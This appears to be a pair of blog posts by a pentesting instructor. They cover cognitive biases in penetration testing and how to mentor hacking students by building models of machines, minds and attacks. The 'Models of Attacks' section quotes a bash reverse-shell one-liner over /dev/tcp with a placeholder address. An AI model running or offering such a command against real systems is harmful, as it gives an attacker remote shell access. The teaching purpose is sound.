
Our minds are adapted to maximize human gene replication under an extremely different environment than anyone reading this blog post is living in today. Through many thousands of years of evolution, our brains have developed heuristics to better aid us make decisions that would best serve that evolutionary purpose.

Heuristics are not always bad. For example, we are capable of making snap decisions in stressful situations without spending too much time weighing every conceivable option. However, heuristics are often maladapted to our modern circumstances. They can lead to cognitive biases that impair our reasoning and which reliably produce incorrect results.

Hacking involves thinking, so as security professionals we have an interest in improving the way that our minds work. In this blog post, I will discuss two cognitive biases I have experienced in myself and observed in students: the sunk cost fallacy and confirmation bias.

A Heap of Salt

The purpose of this article is not to help readers self-correct these biases because this isn't often realistic. Daniel Kahneman, one of the two fathers of the study of cognitive biases and heuristics claims that he hasn't gotten measurably better at correcting his own biases despite decades of study on the subject. In fact, he wrote his popular book partly as a guide for how to spot biases in others because noticing them in oneself is hard.

Instead, I hope this post will help readers understand a few ways their minds can in principle get stuck in a pentest, even if it won't necessarily help them get unstuck in the moment. While we may not be very good noticers of self-bias, we can sometimes set up systems that help offset their effects in advance. In addition, if it's easier to notice bias in others, then I hope it will help readers assist other students, friends and community members.

Sunk Cost Fallacy

What is it? The Sunk Cost Fallacy represents the systematic tendency to continue investing resources into an outcome even in the face of evidence that suggests said outcome is unlikely or not worth the investment. The Sunk Cost Fallacy often applies to financial investments, but can also apply to investments of time, emotion, or energy.

Why does it happen? We allow our past decisions regarding resource allocation to emotionally hijack our present decisions, even when there is no reason to continue investing. As noted in the above article, we might feel a sense of guilt or loss if we "give up" on an investment rather than try to see it through. Sometimes this stubbornness might pay off, but in Pentesting it can often result in frustration and an increased fear of failure.

How can it trap pentesters? The Sunk Cost Fallacy is so prevalent in information security and in Pentesting that we even have our own informal term for it: the dreaded Rabbit Hole. As far as I know, Lewis Carrol's evocative phrase was first applied through an InfoSec analogy in The Matrix.

Pentesting students often use the term to describe the frustrating experience of attempting to attack a target that simply isn't vulnerable in the way the attacker believes it is. Rabbit holes can occur at many levels of abstraction: we could be attacking the wrong machine, targeting the wrong service, exploiting the wrong vulnerability, or using the wrong exploit. Due to the Sunk Cost Fallacy, it's often emotionally easier to continue down a rabbit hole rather than just move on to a different attack vector, even if it causes us more pain and sufferance than the alternative.

We can consider our relationship with a given attack vector as a pendulum between two potential failure modes. In the first case, we can abandon a truly vulnerable path too early. The thing we are attacking is actually vulnerable to our attack, but we move on out of fear that we're wasting our time. In the second case, we continue to invest effort into making our attack work for a vector that is not actually vulnerable. This latter failure mode is where the Sunk Cost Fallacy comes in, and which (I claim) can be harder for Pentesting students to avoid.

What can we do about it? The following method works for me on many levels; we can apply it to machines on a network, to services on a machine, or to directories on a web application.

• Step 1: Determine how many paths we can investigate on our target. By "target" here, I mean anything we are attacking, be it a network, a machine, or an application. By "path", I mean the ways in which we might organize ourselves around the target. For example, open ports on a machine could each represent a different path.

• Step 2: Set a timer for an amount of time that we can work uninterrupted for. The prefered time duration varies by individual. I like to set a timer of around 75 minutes.

• Step 3: During the length of the timer, choose one of the paths to work on, and ignore the others.

• Step 4: When the timer goes off, finish up whatever task we're doing. Take a 5 minute break and get up from the computer. Walk around, grab a snack, or get a drink. It's important to let our minds reset here.

• Step 5: Move on to another path. Keep in mind any information we've previously learned, but make sure that our attention is on the new path.

• Step 6: Repeat until we have exhausted all paths. Then restart the cycle.

By following these steps, we can avoid both failure modes: We ensure that we'll return to every path over time (assuming we found all potential paths to begin with), and we ensure that we won't get stuck in a particular rabbit hole. Most importantly, we condition ourselves to be OK with moving on to new paths before we've exhausted the current one we're working on. This conditioning can help us avoid feelings of frustration and failure.

Advanced mode: Once we're familiar with this general method, we can start attaching weight to different paths based on their vulnerability likelihood. For example, we might place more weight on a web server than an SSH server, and therefore spend 90 minutes on web and 60 minutes on SSH. I don't necessarily recommend trying this until one is very comfortable with the mental motion of giving up on the current path and moving on to the next one.

Confirmation Bias

What is it? Confirmation Bias represents the systematic tendency to accept evidence that supports our current beliefs rather than evidence that refutes them.

Why does it happen? According to The Decision Lab, "Confirmation bias is a cognitive shortcut we use when gathering and interpreting information". Since generating new hypotheses that explain events is cognitively expensive, it's often easier to use the shortcut of relying on hypotheses we already know of rather than spend time on generating new ones. While this might be a good survival instinct, it hardly helps us understand and attack a computer or network efficiently.

How can it trap pentesters? Many pentesters would likely argue that the most important part of an engagement is the enumeration phase, i.e. the gathering and interpreting of information. If that's the case, then it's very important for us to make sure we're gathering and interpreting information properly!

In my experience, students learning to pentest often put on their hacker hat too early. They gather some information about a machine, and based on the information they find, conclude that it must be vulnerable to XYZ. And because they are already wearing their hacker hat, they double down on the alleged vulnerability of XYZ despite future evidence they find that refutes the initial assumption.

There is a machine in the Penetration Testing with Kali Linux (PEN-200) labs called Beta. As noted in OffSec's PEN-200 Learning Paths article, Beta contains an unusual application running on an uncommon port. Due to it's uncommonness, students often (correctly) believe that this service is vulnerable, but (incorrectly) assume that the vulnerability is located in the wrong place on the machine. This directly leads to confirmation bias, because once they attempt to exploit the service in the wrong manner, the tendency is to try to modify the exploit (which won't work) instead of believing the evidence that maybe they were wrong in the first place.

PWK students can read OffSec's Complete Guide to Beta, which fully demonstrates OffSec's methodology used to attack this target.

What can we do about it? One way to help offset (though not eliminate) confirmation bias is by applying something like the scientific method. Try to consciously generate, test, and falsify hypotheses about the target.

• Step 1: Gather information about the machine, and write down notes and evidence.

• Step 2: Try to pin down multiple hypotheses about the machine. Bonus points if the hypotheses are mutually incompatible, so that falsifying one gives further evidence for the other(s).

• Step 3: Come up with tests that would provide further evidence, and which would ideally falsify one hypothesis over the others. We try to predict the results of our tests in advance to practice noticing our beliefs about the machine.

• Step 4: Execute our tests and determine what conclusions we can draw.

• Step 5: Use the test results to gather more information, generate new hypotheses, or create more tests.

By following this procedure, we will methodically gather more information about the machine, hopefully without getting too attached to specific hypotheses. Since hypothesis generation is explicitly part of the procedure, we'll be less likely to fall into the trap of preferring the ones we've already generated.

Wrapping up

While it may be difficult to notice biases like the Sunk Cost Fallacy and Confirmation Bias in ourselves, we can set up systems to help mitigate them in advance. We can make ourselves more mentally resilient to these biases by using a time-based system to focus our attention, and by consciously monitoring our beliefs via a scientific methodology.

When I was a student at Offensive Security, I asked a Student Administrator a question. I don't remember what the question was, and I don't remember which machine I was attempting to attack. What I do remember is the SAs response to my question. In Socratic fashion, they answered my query with one of their own:

Why do you think that your beliefs about the machine are the right beliefs to have?

Those words framed the way that I think about learning hacking and penetration testing. I've now worked at OffSec for approximately six years, and have served as a Student Admin myself for half that time. I've helped hundreds (if not thousands) of students develop their owns skills, and have had many conversations with students and colleagues about how to learn information security skills effectively, especially from an attacker's perspective.

During an impromptu chat on discord a few days ago, one student asked how they could help their friends learn without giving away too much information about the target. It dawned on me that while I believe I have a solid model of learning hacking skills in my head, I haven't thought very hard about how to help others teach said skills.

The following are some reflections on how I think about teaching information security. In particular, I am hoping this post will be useful to community members that want to try their hand at mentorship, but who are afraid of "giving away" the secrets of a machine or target too easily. Bear in mind that my experience is weighted rather heavily towards the attacker side of the coin. I'd venture to guess that some of these ideas hold well for defensive learners and mentors, but my credence is only somewhere around 55%. Defensive security is a space I'm actively learning more about myself so I'm excited to solidify that percentage in either direction.

Models of Machines

Hacking exists in the mind, not in the machine.

Or at least, it's a pithy little phrase that will make one sound wiser than one is. In all seriousness though, I believe that in most cases the true work of attacking a computer, a network, or more generally any system comes from understanding the system first. Once you understand it, then you can attack it.

If the student you are attempting to help knows everything there is to know about the system in question, they wouldn't need your help. They would just know the exact sequence of code or commands to type and get a shell.

However, for whatever reason, many students don't seem to view their role as investigators, they see their role as, well, attackers. They aren't approaching their targets with the notepad and pipe of a detective, but rather with the bow and quiver of a hunter.

If your student seems to be too eager to fire off exploits and then gets frustrated when they don't work, help them realize that their attack can only fail if their model of the machine is wrong. By helping a student "take off their hacker hat", you can give them the space they need to step back and assess the situation more clearly.

Five questions to ask for helping to develop models of machines:

• What do you think you know about the machine?
• What do you think the machine is for?
• What machine's users' roles in the organization?
• If you were the system admin of the machine, what would worry you most?
• Does everything running, installed or configured on the target need to be there?

Models of Minds

If a student's job is to build solid models of machines so that they will know where the vulnerabilities are, then a teacher's job might be described as building solid models of their students. If you know what makes your student tick, you'll be much more more successful at communicating in ways that resonate with them.

However, it's one thing for you to understand your student, but it's even more important that the student understands themselves. This is where I will link the unnecessarily cliche but incredibly appropriate Sun Tzu quote. When it comes to learning hacking, knowing oneself can be thought of as half the battle.

To the extent that hacking is really a matter of building accurate models of systems, then helping your student realize that said models exist in their mind is a powerful tool in your teacher-toolbox. If their brain is not synergized with the task they are trying to accomplish, then they will undoubtedly become more frustrated and have a disappointing learning session. You can help your student understand that becoming mindful of how they themselves think through a pentest or attack can improve their effectiveness and their efficiency.

Five questions to ask for helping to develop models of mind:

• Why do you think your beliefs [about the machine] are true?
• What are your blind spots? Where haven't you looked yet?
• How do you think you are thinking about this problem?
• How surprised will you be if the exploit turns out to be X rather than Y?
• When you received XYZ result, what exactly did you feel?

Models of Attacks

Many years ago, my boxing coach would repeat over and over again:

If you miss by an inch, you miss by a mile!

Of course, he'd say this while laughing gleefully as I failed to hit him yet again. He meant this mantra as a reminder that boxing defense is all about efficient movement, and that getting your opponent to miss just a little bit is all the energy you need to invest. The sentiment, however, is equally applicable to an attacker, because the difference in impact between missing by an inch or by a mile is exactly zero.

The same concept can be applied to pentesting and hacking. If you don't have a precise model of the meaning of the syntax you're using for an attack, then you can't tell the difference between forgetting a semicolon versus attacking the wrong service altogether. Consider this code for a simple bash reverse shell:

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

A student once asked me why their shell wasn't working. They understood that the 10.0.0.1 and 4242 values had to be replaced with their own local IP address and listening port number respectively. However, they didn't understand the apparently mysterious 196 value. They tried 195, 197, 198, etc, but it just wasn't working for them!

When I asked them "Do you know what that 196 number does?" they admitted that they didn't. They went off to go figure out that it represents an arbitrary file descriptor, and that the reason the shell wasn't working couldn't have been due to one value or another. They later realized that the machine they were targeting was unable to execute bash in the first place.

Expecting a student to understand everything about a particular attack may be beyond their current ken, depending on their experience and level. That said, it's important to help foster the mindset that if one doesn't know what an attack is doing at a deep level, one must be consciously uncertain of the potential result.

Five questions to ask for helping to develop models of attacks:

• What exactly does this syntax do?
• Can you break down the attack for me? What is each piece responsible for?
• Can you think of other code, commands or syntax that does the same thing?
• Why did you choose this particular exploit?
• What can you can google to get a better sense of how this might work?

Models of Models

The essential premise here is that teaching someone how to hack is about teaching them to think just as much as it is about demonstrating how code, networks, and configurations work. I'm under no illusions that learning about thinking is sufficient for becoming a pentester; at the end of the day you need to know all sorts of technical information and skills. However, I do think it is an increasingly necessary condition, especially as more and more students are looking to enter the cybersecurity space without having first been a sysadmin, developer, or other IT professional. I believe it's a skillset that many teachers, mentors, and helpers don't tend to focus on enough, and one which yields some (but certainly not all) of the low hanging fruit that can greatly benefit students and learners.

I'll likely have much more to ponder about on these topics and many more relating to how humans do security (or, you know.... don't do security). I consider this blog a learning opportunity for myself, and hope to make many mistakes along the way. If you've read this far, thank you for joining me in my journey! I'd love to hear your thoughts, so please feel free free to reach out on twitter or by email .